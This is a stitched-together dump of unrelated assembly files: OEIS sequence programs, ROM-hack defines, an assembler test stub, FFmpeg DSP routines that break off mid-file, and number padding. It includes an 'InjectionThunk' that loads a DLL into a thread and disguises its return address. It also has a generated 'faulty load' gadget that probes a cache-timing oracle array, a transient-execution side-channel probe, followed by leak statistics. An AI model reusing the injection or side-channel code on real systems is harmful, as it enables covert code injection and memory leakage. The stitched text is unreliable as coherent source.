34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
BITS 32 ;TEST_FILE_META_BEGIN ;TEST_TYPE=TEST_F ;TEST_IGNOREFLAGS= ;TEST_FILE_META_END ;TEST_BEGIN_RECORDING lea edi, [esp-0x200] ; save state FNSAVE [edi] mov edi, 0 ;TEST_END_RECORDING
incsrc "vars.asm" //; Germany code locations define SwapBank8 $d787 define SwapBankA $d796 define SwitchOld $bf0f define GetTilePtr $ef90 incsrc "mapextra.asm"
; A098502: 16*n - 4. ; 12,28,44,60,76,92,108,124,140,156,172,188,204,220,236,252,268,284,300,316,332,348,364,380,396,412,428,444,460,476,492,508,524,540,556,572,588,604,620,636,652,668,684,700,716,732,748,764,780,796,812,828,844,860,876,892,908,924,940,956,972,988,1004,1020,1036,1052,1068,1084,1100,1116,1132,1148,1164,1180,1196,1212,1228,1244,1260,1276,1292,1308,1324,1340,1356,1372,1388,1404,1420,1436,1452,1468,1484,1500,1516,1532,1548,1564,1580,1596 mul $0,16 add $0,12
title "Injection Thunk Assembly Routine" ;++ ; ; Copyright (c) 2017 Trent Nelson <trent@trent.me> ; ; Module Name: ; ; InjectionThunk.asm ; ; Abstract: ; ; This module implements the injection thunk routine. ; ;-- include ksamd64.inc ; ; Define a home parameter + return address structure. ; Home struct ReturnAddress dq ? ; 8 32 40 (28h) Param1 dq ? ; 8 24 32 (20h) Param2 dq ? ; 8 16 24 (18h) Param3 dq ? ; 8 8 16 (10h) Param4 dq ? ; 8 0 8 (08h) Home ends ; ; Define the RTL_INJECTION_THUNK_CONTEXT structure. ; Thunk struct VirtualProtect dq ? ExitThread dq ? LoadLibraryW dq ? GetProcAddress dq ? ModulePath dq ? ModuleHandle dq ? FunctionName dq ? FunctionAddress dq ? Thunk ends InjLoadLibraryFailed equ -1 InjGetProcAddressFailed equ -2 LEAF_ENTRY InjectionThunk1Handler, _TEXT$00 mov eax, ExceptionContinueSearch ret LEAF_END InjectionThunk1Handler, _TEXT$00 ;++ ; ; VOID ; InjectionThunk( ; _In_ PRTL_INJECTION_THUNK_CONTEXT Thunk ; ); ; ; Routine Description: ; ; This routine fills one or more pages of memory with a given byte pattern ; using non-temporal hints. ; ; Arguments: ; ; Thunk (rcx) - Supplies a pointer to the injection context thunk. ; ; Return Value: ; ; This routine does not return. ; ;-- ;LEAF_ENTRY InjectionThunk1, _TEXT$00, InjectionThunk1Handler NESTED_ENTRY InjectionThunk1, _TEXT$00, InjectionThunk1Handler END_PROLOGUE ; ; Put in a dummy nop just so our first byte isn't a jump, and thus, won't be ; skipped over by SkipJumps. ; nop ; ; Jump past our inline quadwords reserved for rsp and rcx. ; jmp Inj05 align 16 ALTERNATE_ENTRY InjRsp dq ? ALTERNATE_ENTRY InjRcx dq ? align 16 Inj05: mov qword ptr [InjRsp], rsp ; Save rsp. mov qword ptr [InjRcx], rcx ; Save rcx. ; ; Move the thunk pointer in rcx to r11, move the path name into rcx, set the ; return address to the instruction after the call, then "call" LoadLibrary by ; way of a long jump. ; mov r11, rcx mov rcx, qword ptr Thunk.ModulePath[rcx] mov rsp, qword ptr [InjectionThunkCallout1] jmp qword ptr Thunk.LoadLibraryW[r11] ALTERNATE_ENTRY InjectionThunkCallout1 ; ; We should resume execution here after LoadLibraryW() returns. Verify the ; module was loaded successfully. ; test rax, rax ; Is handle NULL? jz Inj70 ; LoadLibraryW() failed. ; ; Module was loaded successfully. Load it into rcx, load the function name ; into rdx, set the return address to the instruction after the call, then ; then "call" GetProcAddress by way of a long jump. ; mov r11, qword ptr [InjRcx] ; Re-load Thunk into r11. mov Thunk.ModuleHandle[r11], rax ; Save handle. mov rcx, rax ; Load module into rcx. mov rdx, Thunk.FunctionName[r11] ; Load function name. mov rsp, qword ptr [InjectionThunkCallout2] ; Set return address. jmp qword ptr Thunk.GetProcAddress[r11] ; "Call" GetProcAddress. ALTERNATE_ENTRY InjectionThunkCallout2 ; ; Verify the return value. ; test rax, rax ; Is PROC NULL? jz Inj80 ; Yes; GetProcAddress() failed. ; ; The function was resolved successfully. Save a copy of the resolved address ; in the thunk. ; mov rcx, qword ptr [InjRcx] ; Re-load Thunk into rcx. mov Thunk.FunctionAddress[rcx], rax ; Save the function. ; ; Load the original return address back into the return address such that it ; looks like kernel32!BaseThreadInitThunk called us. ; mov rsp, qword ptr [InjRsp] jmp Thunk.FunctionAddress[rcx] ; Call the thread entry routine. Inj70: mov rcx, InjLoadLibraryFailed ; Load the error code. jmp short Inj90 Inj80: mov rcx, InjGetProcAddressFailed ; Load the error code. Inj90: mov r11, qword ptr [InjRcx] ; Move Thunk into r11. jmp Thunk.ExitThread[r11] ; Terminate thread. LEAF_END InjectionThunk1, _TEXT$00 ; vim:set tw=80 ts=8 sw=4 sts=4 et syntax=masm fo=croql com=:; : end
; A115246: Number of different ways to select n elements from three sets of n elements such that there is at least one element from each set. ; Submitted by Christian Krause ; 0,0,27,288,2250,15795,105987,696864,4540968,29490750,191420427,1243565235,8091223647,52739879283,344402073027,2253045672480,14764068268068,96899123172708,636877933530303,4191430966219038,27617820628739718,182176855684869243,1202912275541006163,7950164919277978803,52588167909329580375,348129935174269170975,2306273606683574058387,15288812689997286606195,101416777765228668135243,673132619712835476645795,4470228055779262703971971,29701742275144243582134816,197443904446817097176776476 mov $1,$0 add $1,1 mul $1,2 mov $2,$0 add $0,$1 bin $0,$2 add $0,1 add $2,1 bin $1,$2 sub $0,$1 mul $0,3
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %rbp push %rcx push %rdi push %rsi lea addresses_WC_ht+0xcfac, %rsi lea addresses_normal_ht+0x65c6, %rdi nop nop nop nop cmp %rbp, %rbp mov $106, %rcx rep movsq nop nop sub $45918, %rcx lea addresses_UC_ht+0x26c6, %r15 nop nop nop and $2795, %rdi movw $0x6162, (%r15) and $32206, %r12 lea addresses_UC_ht+0x1b8c6, %rcx nop nop nop inc %r15 movw $0x6162, (%rcx) xor $24879, %rsi lea addresses_D_ht+0xcd46, %rsi lea addresses_WT_ht+0x17fc6, %rdi nop xor %rbp, %rbp mov $11, %rcx rep movsq nop nop nop nop and %rsi, %rsi lea addresses_UC_ht+0x1be46, %rsi lea addresses_UC_ht+0x19382, %rdi nop nop nop nop sub $427, %r8 mov $97, %rcx rep movsw nop inc %rsi lea addresses_A_ht+0x1198e, %rdi nop nop nop nop nop and $8897, %rsi movw $0x6162, (%rdi) nop nop nop add %rbp, %rbp lea addresses_D_ht+0xd9c6, %r15 nop nop nop nop nop and %rcx, %rcx movb $0x61, (%r15) nop nop nop inc %rsi lea addresses_WC_ht+0x1aeba, %r12 nop and $61364, %rcx vmovups (%r12), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r8 nop nop nop nop nop xor %r15, %r15 lea addresses_D_ht+0xe7c6, %rcx clflush (%rcx) nop xor $269, %rbp mov $0x6162636465666768, %rsi movq %rsi, (%rcx) nop nop nop xor %rbp, %rbp pop %rsi pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rax push %rbp // Faulty Load lea addresses_A+0xa7c6, %r9 nop nop nop nop and $56228, %rbp vmovaps (%r9), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r12 lea oracles, %r14 and $0xff, %r12 shlq $12, %r12 mov (%r14,%r12,1), %r12 pop %rbp pop %rax pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_A', 'AVXalign': True, 'size': 32, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 8}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}} {'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 9}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 10}} {'08': 9, '48': 16652, '72': 12, '00': 5156} 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 00 48 00 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 00 48 48 48 48 48 48 00 00 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 00 00 00 48 48 48 48 48 00 48 00 00 48 48 48 48 48 48 48 00 48 48 48 00 48 00 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 00 00 00 00 48 48 48 00 00 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 48 48 48 48 48 48 48 00 00 48 48 48 00 48 48 00 48 48 00 00 48 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 00 00 48 48 48 48 00 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 48 48 00 00 48 48 48 00 00 48 00 00 48 00 48 48 00 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 00 00 00 48 48 48 48 00 48 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 00 00 48 48 00 00 48 48 48 00 48 48 48 00 00 48 00 00 48 48 00 00 48 48 00 00 48 00 00 48 00 00 48 00 00 48 00 00 00 48 00 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 00 00 48 00 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 00 48 48 48 48 48 00 48 48 00 48 48 48 48 00 00 48 48 48 48 00 00 48 00 48 48 00 00 00 48 48 48 48 48 00 48 48 48 48 48 00 00 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 00 48 48 00 48 48 48 48 48 00 00 00 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 00 48 48 00 00 48 48 00 48 00 48 48 48 48 48 00 00 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 00 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 72 48 48 48 48 48 48 48 48 48 00 00 48 00 48 00 00 48 48 00 00 48 48 00 48 48 48 48 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 00 00 00 48 48 48 00 48 00 48 48 00 00 48 00 00 00 48 48 00 48 48 48 48 48 48 48 00 00 48 48 48 48 00 00 48 48 48 00 00 48 00 00 48 48 48 48 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 00 00 48 48 48 00 48 00 48 48 48 00 48 48 00 00 48 00 48 48 48 00 00 48 48 00 00 48 48 00 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 00 00 00 48 48 48 00 00 48 48 48 48 48 48 00 48 48 48 00 00 48 48 00 00 48 48 00 00 48 48 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 00 00 48 48 48 48 48 48 48 48 48 48 48 48 00 48 48 48 48 48 48 48 00 00 48 48 48 00 00 48 00 00 00 48 48 48 00 00 00 48 48 00 00 48 00 00 48 48 00 48 48 00 48 48 48 48 48 48 48 48 48 00 48 48 48 48 00 48 48 00 00 00 00 48 00 00 48 48 00 48 48 48 48 48 48 48 48 48 48 48 48 48 */
; A177065: a(n) = (8*n+3)*(8*n+5). ; 15,143,399,783,1295,1935,2703,3599,4623,5775,7055,8463,9999,11663,13455,15375,17423,19599,21903,24335,26895,29583,32399,35343,38415,41615,44943,48399,51983,55695,59535,63503,67599,71823,76175,80655,85263,89999,94863,99855,104975,110223,115599,121103,126735,132495,138383,144399,150543,156815,163215,169743,176399,183183,190095,197135,204303,211599,219023,226575,234255,242063,249999,258063,266255,274575,283023,291599,300303,309135,318095,327183,336399,345743,355215,364815,374543,384399,394383,404495,414735,425103,435599,446223,456975,467855,478863,489999,501263,512655,524175,535823,547599,559503,571535,583695,595983,608399,620943,633615 sub $1,$0 bin $1,2 mul $1,128 add $1,15 mov $0,$1
; A171613: a(n) = n^2 + sum of the digits of n^2. ; 0,2,8,18,23,32,45,62,74,90,101,125,153,185,212,234,269,308,333,371,404,450,500,545,594,638,695,747,803,854,909,977,1031,1107,1169,1235,1314,1388,1457,1530,1607,1697,1782,1871,1955,2034,2126,2222,2313,2408,2507 mov $3,$0 pow $0,2 lpb $0,1 mov $2,$0 div $0,10 mod $2,10 sub $2,1 add $5,$2 add $5,1 lpe mov $1,$5 mov $4,$3 mul $4,$3 add $1,$4
;****************************************************************************** ;* MMX optimized DSP utils ;* Copyright (c) 2008 Loren Merritt ;* Copyright (c) 2003-2013 Michael Niedermayer ;* Copyright (c) 2013 Daniel Kang ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA pb_f: times 16 db 15 pb_zzzzzzzz77777777: times 8 db -1 pb_7: times 8 db 7 pb_zzzz3333zzzzbbbb: db -1,-1,-1,-1,3,3,3,3,-1,-1,-1,-1,11,11,11,11 pb_zz11zz55zz99zzdd: db -1,-1,1,1,-1,-1,5,5,-1,-1,9,9,-1,-1,13,13 pb_revwords: SHUFFLE_MASK_W 7, 6, 5, 4, 3, 2, 1, 0 pd_16384: times 4 dd 16384 pb_bswap32: db 3, 2, 1, 0, 7, 6, 5, 4, 11, 10, 9, 8, 15, 14, 13, 12 SECTION_TEXT %macro SCALARPRODUCT 0 ; int scalarproduct_int16(int16_t *v1, int16_t *v2, int order) cglobal scalarproduct_int16, 3,3,3, v1, v2, order shl orderq, 1 add v1q, orderq add v2q, orderq neg orderq pxor m2, m2 .loop: movu m0, [v1q + orderq] movu m1, [v1q + orderq + mmsize] pmaddwd m0, [v2q + orderq] pmaddwd m1, [v2q + orderq + mmsize] paddd m2, m0 paddd m2, m1 add orderq, mmsize*2 jl .loop %if mmsize == 16 movhlps m0, m2 paddd m2, m0 pshuflw m0, m2, 0x4e %else pshufw m0, m2, 0x4e %endif paddd m2, m0 movd eax, m2 RET ; int scalarproduct_and_madd_int16(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul) cglobal scalarproduct_and_madd_int16, 4,4,8, v1, v2, v3, order, mul shl orderq, 1 movd m7, mulm %if mmsize == 16 pshuflw m7, m7, 0 punpcklqdq m7, m7 %else pshufw m7, m7, 0 %endif pxor m6, m6 add v1q, orderq add v2q, orderq add v3q, orderq neg orderq .loop: movu m0, [v2q + orderq] movu m1, [v2q + orderq + mmsize] mova m4, [v1q + orderq] mova m5, [v1q + orderq + mmsize] movu m2, [v3q + orderq] movu m3, [v3q + orderq + mmsize] pmaddwd m0, m4 pmaddwd m1, m5 pmullw m2, m7 pmullw m3, m7 paddd m6, m0 paddd m6, m1 paddw m2, m4 paddw m3, m5 mova [v1q + orderq], m2 mova [v1q + orderq + mmsize], m3 add orderq, mmsize*2 jl .loop %if mmsize == 16 movhlps m0, m6 paddd m6, m0 pshuflw m0, m6, 0x4e %else pshufw m0, m6, 0x4e %endif paddd m6, m0 movd eax, m6 RET %endmacro INIT_MMX mmxext SCALARPRODUCT INIT_XMM sse2 SCALARPRODUCT %macro SCALARPRODUCT_LOOP 1 align 16 .loop%1: sub orderq, mmsize*2 %if %1 mova m1, m4 mova m4, [v2q + orderq] mova m0, [v2q + orderq + mmsize] palignr m1, m0, %1 palignr m0, m4, %1 mova m3, m5 mova m5, [v3q + orderq] mova m2, [v3q + orderq + mmsize] palignr m3, m2, %1 palignr m2, m5, %1 %else mova m0, [v2q + orderq] mova m1, [v2q + orderq + mmsize] mova m2, [v3q + orderq] mova m3, [v3q + orderq + mmsize] %endif %define t0 [v1q + orderq] %define t1 [v1q + orderq + mmsize] %if ARCH_X86_64 mova m8, t0 mova m9, t1 %define t0 m8 %define t1 m9 %endif pmaddwd m0, t0 pmaddwd m1, t1 pmullw m2, m7 pmullw m3, m7 paddw m2, t0 paddw m3, t1 paddd m6, m0 paddd m6, m1 mova [v1q + orderq], m2 mova [v1q + orderq + mmsize], m3 jg .loop%1 %if %1 jmp .end %endif %endmacro ; int scalarproduct_and_madd_int16(int16_t *v1, int16_t *v2, int16_t *v3, int order, int mul) INIT_XMM ssse3 cglobal scalarproduct_and_madd_int16, 4,5,10, v1, v2, v3, order, mul shl orderq, 1 movd m7, mulm pshuflw m7, m7, 0 punpcklqdq m7, m7 pxor m6, m6 mov r4d, v2d and r4d, 15 and v2q, ~15 and v3q, ~15 mova m4, [v2q + orderq] mova m5, [v3q + orderq] ; linear is faster than branch tree or jump table, because the branches taken are cyclic (i.e. predictable) cmp r4d, 0 je .loop0 cmp r4d, 2 je .loop2 cmp r4d, 4 je .loop4 cmp r4d, 6 je .loop6 cmp r4d, 8 je .loop8 cmp r4d, 10 je .loop10 cmp r4d, 12 je .loop12 SCALARPRODUCT_LOOP 14 SCALARPRODUCT_LOOP 12 SCALARPRODUCT_LOOP 10 SCALARPRODUCT_LOOP 8 SCALARPRODUCT_LOOP 6 SCALARPRODUCT_LOOP 4 SCALARPRODUCT_LOOP 2 SCALARPRODUCT_LOOP 0 .end: movhlps m0, m6 paddd m6, m0 pshuflw m0, m6, 0x4e paddd m6, m0 movd eax, m6 RET ;----------------------------------------------------------------------------- ; void ff_apply_window_int16(int16_t *output, const int16_t *input, ; const int16_t *window, unsigned int len) ;----------------------------------------------------------------------------- %macro REVERSE_WORDS 1-2 %if cpuflag(ssse3) && notcpuflag(atom) pshufb %1, %2 %elif cpuflag(sse2) pshuflw %1, %1, 0x1B pshufhw %1, %1, 0x1B pshufd %1, %1, 0x4E %elif cpuflag(mmxext) pshufw %1, %1, 0x1B %endif %endmacro %macro MUL16FIXED 3 %if cpuflag(ssse3) ; dst, src, unused ; dst = ((dst * src) + (1<<14)) >> 15 pmulhrsw %1, %2 %elif cpuflag(mmxext) ; dst, src, temp ; dst = (dst * src) >> 15 ; pmulhw cuts off the bottom bit, so we have to lshift by 1 and add it back ; in from the pmullw result. mova %3, %1 pmulhw %1, %2 pmullw %3, %2 psrlw %3, 15 psllw %1, 1 por %1, %3 %endif %endmacro %macro APPLY_WINDOW_INT16 1 ; %1 bitexact version %if %1 cglobal apply_window_int16, 4,5,6, output, input, window, offset, offset2 %else cglobal apply_window_int16_round, 4,5,6, output, input, window, offset, offset2 %endif lea offset2q, [offsetq-mmsize] %if cpuflag(ssse3) && notcpuflag(atom) mova m5, [pb_revwords] ALIGN 16 %elif %1 mova m5, [pd_16384] %endif .loop: %if cpuflag(ssse3) ; This version does the 16x16->16 multiplication in-place without expanding ; to 32-bit. The ssse3 version is bit-identical. mova m0, [windowq+offset2q] mova m1, [ inputq+offset2q] pmulhrsw m1, m0 REVERSE_WORDS m0, m5 pmulhrsw m0, [ inputq+offsetq ] mova [outputq+offset2q], m1 mova [outputq+offsetq ], m0 %elif %1 ; This version expands 16-bit to 32-bit, multiplies by the window, ; adds 16384 for rounding, right shifts 15, then repacks back to words to ; save to the output. The window is reversed for the second half. mova m3, [windowq+offset2q] mova m4, [ inputq+offset2q] pxor m0, m0 punpcklwd m0, m3 punpcklwd m1, m4 pmaddwd m0, m1 paddd m0, m5 psrad m0, 15 pxor m2, m2 punpckhwd m2, m3 punpckhwd m1, m4 pmaddwd m2, m1 paddd m2, m5 psrad m2, 15 packssdw m0, m2 mova [outputq+offset2q], m0 REVERSE_WORDS m3 mova m4, [ inputq+offsetq] pxor m0, m0 punpcklwd m0, m3 punpcklwd m1, m4 pmaddwd m0, m1 paddd m0, m5 psrad m0, 15 pxor m2, m2 punpckhwd m2, m3 punpckhwd m1, m4 pmaddwd m2, m1 paddd m2, m5 psrad m2, 15 packssdw m0, m2 mova [outputq+offsetq], m0 %else ; This version does the 16x16->16 multiplication in-place without expanding ; to 32-bit. The mmxext and sse2 versions do not use rounding, and ; therefore are not bit-identical to the C version. mova m0, [windowq+offset2q] mova m1, [ inputq+offset2q] mova m2, [ inputq+offsetq ] MUL16FIXED m1, m0, m3 REVERSE_WORDS m0 MUL16FIXED m2, m0, m3 mova [outputq+offset2q], m1 mova [outputq+offsetq ], m2 %endif add offsetd, mmsize sub offset2d, mmsize jae .loop REP_RET %endmacro INIT_MMX mmxext APPLY_WINDOW_INT16 0 INIT_XMM sse2 APPLY_WINDOW_INT16 0 INIT_MMX mmxext APPLY_WINDOW_INT16 1 INIT_XMM sse2 APPLY_WINDOW_INT16 1 INIT_XMM ssse3 APPLY_WINDOW_INT16 1 INIT_XMM ssse3, atom APPLY_WINDOW_INT16 1 ; void add_hfyu_median_prediction_mmxext(uint8_t *dst, const uint8_t *top, const uint8_t *diff, int w, int *left, int *left_top) INIT_MMX mmxext cglobal add_hfyu_median_prediction, 6,6,0, dst, top, diff, w, left, left_top movq mm0, [topq] movq mm2, mm0 movd mm4, [left_topq] psllq mm2, 8 movq mm1, mm0 por mm4, mm2 movd mm3, [leftq] psubb mm0, mm4 ; t-tl add dstq, wq add topq, wq add diffq, wq neg wq jmp .skip .loop: movq mm4, [topq+wq] movq mm0, mm4 psllq mm4, 8 por mm4, mm1 movq mm1, mm0 ; t psubb mm0, mm4 ; t-tl .skip: movq mm2, [diffq+wq] %assign i 0 %rep 8 movq mm4, mm0 paddb mm4, mm3 ; t-tl+l movq mm5, mm3 pmaxub mm3, mm1 pminub mm5, mm1 pminub mm3, mm4 pmaxub mm3, mm5 ; median paddb mm3, mm2 ; +residual %if i==0 movq mm7, mm3 psllq mm7, 56 %else movq mm6, mm3 psrlq mm7, 8 psllq mm6, 56 por mm7, mm6 %endif %if i<7 psrlq mm0, 8 psrlq mm1, 8 psrlq mm2, 8 %endif %assign i i+1 %endrep movq [dstq+wq], mm7 add wq, 8 jl .loop movzx r2d, byte [dstq-1] mov [leftq], r2d movzx r2d, byte [topq-1] mov [left_topq], r2d RET %macro ADD_HFYU_LEFT_LOOP 2 ; %1 = dst_is_aligned, %2 = src_is_aligned add srcq, wq add dstq, wq neg wq %%.loop: %if %2 mova m1, [srcq+wq] %else movu m1, [srcq+wq] %endif mova m2, m1 psllw m1, 8 paddb m1, m2 mova m2, m1 pshufb m1, m3 paddb m1, m2 pshufb m0, m5 mova m2, m1 pshufb m1, m4 paddb m1, m2 %if mmsize == 16 mova m2, m1 pshufb m1, m6 paddb m1, m2 %endif paddb m0, m1 %if %1 mova [dstq+wq], m0 %else movq [dstq+wq], m0 movhps [dstq+wq+8], m0 %endif add wq, mmsize jl %%.loop mov eax, mmsize-1 sub eax, wd movd m1, eax pshufb m0, m1 movd eax, m0 RET %endmacro ; int add_hfyu_left_prediction(uint8_t *dst, const uint8_t *src, int w, int left) INIT_MMX ssse3 cglobal add_hfyu_left_prediction, 3,3,7, dst, src, w, left .skip_prologue: mova m5, [pb_7] mova m4, [pb_zzzz3333zzzzbbbb] mova m3, [pb_zz11zz55zz99zzdd] movd m0, leftm psllq m0, 56 ADD_HFYU_LEFT_LOOP 1, 1 INIT_XMM sse4 cglobal add_hfyu_left_prediction, 3,3,7, dst, src, w, left mova m5, [pb_f] mova m6, [pb_zzzzzzzz77777777] mova m4, [pb_zzzz3333zzzzbbbb] mova m3, [pb_zz11zz55zz99zzdd] movd m0, leftm pslldq m0, 15 test srcq, 15 jnz .src_unaligned test dstq, 15 jnz .dst_unaligned ADD_HFYU_LEFT_LOOP 1, 1 .dst_unaligned: ADD_HFYU_LEFT_LOOP 0, 1 .src_unaligned: ADD_HFYU_LEFT_LOOP 0, 0 ;----------------------------------------------------------------------------- ; void ff_vector_clip_int32(int32_t *dst, const int32_t *src, int32_t min, ; int32_t max, unsigned int len) ;----------------------------------------------------------------------------- ; %1 = number of xmm registers used ; %2 = number of inline load/process/store loops per asm loop ; %3 = process 4*mmsize (%3=0) or 8*mmsize (%3=1) bytes per loop ; %4 = CLIPD function takes min/max as float instead of int (CLIPD_SSE2) ; %5 = suffix %macro VECTOR_CLIP_INT32 4-5 cglobal vector_clip_int32%5, 5,5,%1, dst, src, min, max, len %if %4 cvtsi2ss m4, minm cvtsi2ss m5, maxm %else movd m4, minm movd m5, maxm %endif SPLATD m4 SPLATD m5 .loop: %assign %%i 1 %rep %2 mova m0, [srcq+mmsize*0*%%i] mova m1, [srcq+mmsize*1*%%i] mova m2, [srcq+mmsize*2*%%i] mova m3, [srcq+mmsize*3*%%i] %if %3 mova m7, [srcq+mmsize*4*%%i] mova m8, [srcq+mmsize*5*%%i] mova m9, [srcq+mmsize*6*%%i] mova m10, [srcq+mmsize*7*%%i] %endif CLIPD m0, m4, m5, m6 CLIPD m1, m4, m5, m6 CLIPD m2, m4, m5, m6 CLIPD m3, m4, m5, m6 %if %3 CLIPD m7, m4, m5, m6 CLIPD m8, m4, m5, m6 CLIPD m9, m4, m5, m6 CLIPD m10, m4, m5, m6 %endif mova [dstq+mmsize*0*%%i], m0 mova [dstq+mmsize*1*%%i], m1 mova [dstq+mmsize*2*%%i], m2 mova [dstq+mmsize*3*%%i], m3 %if %3 mova [dstq+mmsize*4*%%i], m7 mova [dstq+mmsize*5*%%i], m8 mova [dstq+mmsize*6*%%i], m9 mova [dstq+mmsize*7*%%i], m10 %endif %assign %%i %%i+1 %endrep add srcq, mmsize*4*(%2+%3) add dstq, mmsize*4*(%2+%3) sub lend, mmsize*(%2+%3) jg .loop REP_RET %endmacro INIT_MMX mmx %define CLIPD CLIPD_MMX VECTOR_CLIP_INT32 0, 1, 0, 0 INIT_XMM sse2 VECTOR_CLIP_INT32 6, 1, 0, 0, _int %define CLIPD CLIPD_SSE2 VECTOR_CLIP_INT32 6, 2, 0, 1 INIT_XMM 